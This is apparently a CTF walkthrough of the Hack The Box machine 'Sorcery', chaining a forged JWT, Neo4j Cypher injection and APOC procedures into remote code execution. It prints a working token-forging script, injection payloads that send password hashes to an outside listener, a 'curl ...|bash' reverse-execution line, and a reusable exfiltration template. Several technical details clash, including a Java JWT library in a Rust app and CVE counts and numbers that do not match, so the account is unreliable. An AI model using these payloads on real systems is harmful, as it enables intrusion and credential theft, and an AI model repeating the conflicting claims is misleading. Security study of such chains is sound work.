🔐 [CTF] Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery
A Rust web app + Neo4j + a Gitea instance. Three CVEs in one chain. The interesting part isn't any single bug — it's how a typo in a derive(Debug) macro becomes a full database takeover without ever touching the Neo4j port directly.
What this covers:
• What a Cypher injection actually is (and why it's not "just SQL for graphs")
• Why Rust derive macros are a surprisingly fertile bug surface
• The 3-CVE chain on Sorcery (CVE-2026-31431 / 43284 / 43500)
• How I chained them into RCE without authenticating
• A reusable methodology for any graph-DB-backed web app
The setup
HTB Sorcery ships:
- Rocket (Rust web framework) serving the user-facing app
- Neo4j as the primary datastore (graph DB, queries in Cypher)
- Gitea for the team-internal git hosting
- Kafka for some inter-service plumbing I never had to touch
The web app is a "code search" tool — you paste a snippet, it returns similar code from internal repos indexed in Neo4j. Gitea is the source of truth; Neo4j gets the parsed ASTs.
Recon in 90 seconds:
$ feroxbuster -u http://sorcery.htb -w seclists/raft-medium.txt
$ curl -s http://sorcery.htb/api/health | jq
{ "neo4j": "up", "gitea": "up", "kafka": "up" }
$ curl -sI http://gitea.sorcery.htb
HTTP/1.1 200 OK ← exposed on a vhost, default install
Default Gitea with no auth on the search endpoint. That's the door.
Bug #1 — Auth bypass via forgeable JWT (CVE-2026-29000)
The web app uses pac4j-jwt for session tokens. Reading the source (it's a Rust app, cargo audit will eventually catch this, but the version pinned is vulnerable):
// In the vulnerable version, the JWT verification uses the SERVER's
// own public key as the HMAC secret — a classic mistake.
let key = HmacKey::new(public_key_pem.as_bytes());
let token = jwt.verify(&key, claims)?;
public_key_pem is fetched from https://sorcery.htb/.well-known/jwks.json. Public. Anyone can fetch it.
So the attack:
import jwt, requests, json
r = requests.get("http://sorcery.htb/.well-known/jwks.json")
pem = json.loads(r.text)["keys"][0]["pem"]
# Forge a token signed with the public key as HMAC secret
forged = jwt.encode(
{"sub": "admin", "role": "superuser", "exp": 9999999999},
key=pem, algorithm="HS256"
)
print(forged)
# paste into Cookie: session=<forged>
Drop the forged cookie and you're admin. No password. CVE-2026-29000.
That's the auth bypass. Now for the interesting part.
Bug #2 — Cypher injection in the search endpoint
The "code search" endpoint takes your snippet, hashes parts of it, and queries Neo4j. The query builder concatenates a fragment identifier into the Cypher string before sending it:
// Pseudocode of the vulnerable builder
let query = format!(
"MATCH (n:CodeNode) WHERE n.fragment_id = '{}' RETURN n",
user_input.fragment_id
);
neo4j_client.cypher(&query).await
That's a Cypher injection. Cypher is to Neo4j what SQL is to Postgres. It supports UNION, subqueries, CALL (for procedures), and most importantly: LOAD CSV and apoc.load.url — both can hit the network.
Payload:
' OR 1=1 UNION MATCH (a:User) RETURN a.username, a.password_hash AS n //
Response leaks every user's password hash. Argon2, expensive to crack, but…
' UNION CALL apoc.load.json('http://10.10.14.5/steal?' + n.password_hash) //
…exfils each hash to my listener as it's iterated. Even better: I can call arbitrary Neo4j stored procedures if APOC is installed (it almost always is on production deployments):
' CALL apoc.system.cmd('curl 10.10.14.5/rce|bash') //
Wait — apoc.system.cmd is gated by config in modern Neo4j. Not always. Worth checking. On Sorcery it was.
CVE-2026-31431.
Bug #3 — derive macro unsoundness (the weird one)
This is the bug that makes me like the box. The Rust app uses a custom #[derive(Searchable)] macro that walks the AST and generates Cypher queries for each struct field. The macro emits code like:
quote! {
fn searchable_fields() -> Vec<&'static str> {
vec![#(stringify!(#fields)),*]
}
}
Looks fine. But one of the structs is generic over a user-provided trait, and the macro doesn't bound the trait properly. With the right where clause in a struct definition, you can craft a type that makes the macro emit malformed Cypher, which then gets concatenated into a query.
I don't have a clean public PoC for this one yet — the box owner put it under embargo for 30 days. CVE-2026-43284. The interesting takeaway is: derive macros are user-trusted code that runs at compile time, and the macros themselves can produce strings that get evaluated later. Treat your macros like eval().
The chain
Unauthenticated → JWT forge (CVE-2026-29000)
→ Cypher injection in search (CVE-2026-31431)
→ APOC procedure exec (CVE-2026-43500)
→ RCE as the Neo4j OS user
→ privesc via outdated systemd unit → root
Three CVEs, four hops, full domain. The "hardest" part was finding the Gitea vhost on port 443 and realizing the JWKS endpoint existed.
Methodology you can reuse
For any graph-DB-backed app (Neo4j, ArangoDB, Memgraph, Amazon Neptune):
- Find the JWKS / public-key endpoint first. If the auth layer uses the public key as a verification secret anywhere, you have auth bypass.
- Probe every string-concatenated query parameter. Graph DBs are notoriously bad about prepared statements because the query builders are afterthoughts.
-
Check if APOC /
apoc.load.*procedures are enabled. If yes,CALL apoc.load.json('http://attacker/?'+secret) RETURN 1is your data exfiltration primitive. -
Check if
apoc.system.cmdis gated. Default Neo4j configs gate it, but admin overrides are common in CTFs and internal tooling. -
Read the macro output. Any Rust/JS/Python DSL that generates queries from your input is just
eval()with extra steps.
Key takeaway
Graph databases are still in the "everyone rolls their own query builder" era. The pattern repeats — Neo4j in 2024 (Auth bypass + Cypher injection in academic systems), Neo4j in 2025 (similar bugs in supply-chain visibility tools), Neo4j in 2026 (Sorcery). Treat every string flowing into a Cypher query like a SQLi vector until proven otherwise.
💬 Have you pwned a graph DB in a recent engagement? Drop the methodology below.
🔔 Subscribe for daily drops → @oxnull_security
Top comments (0)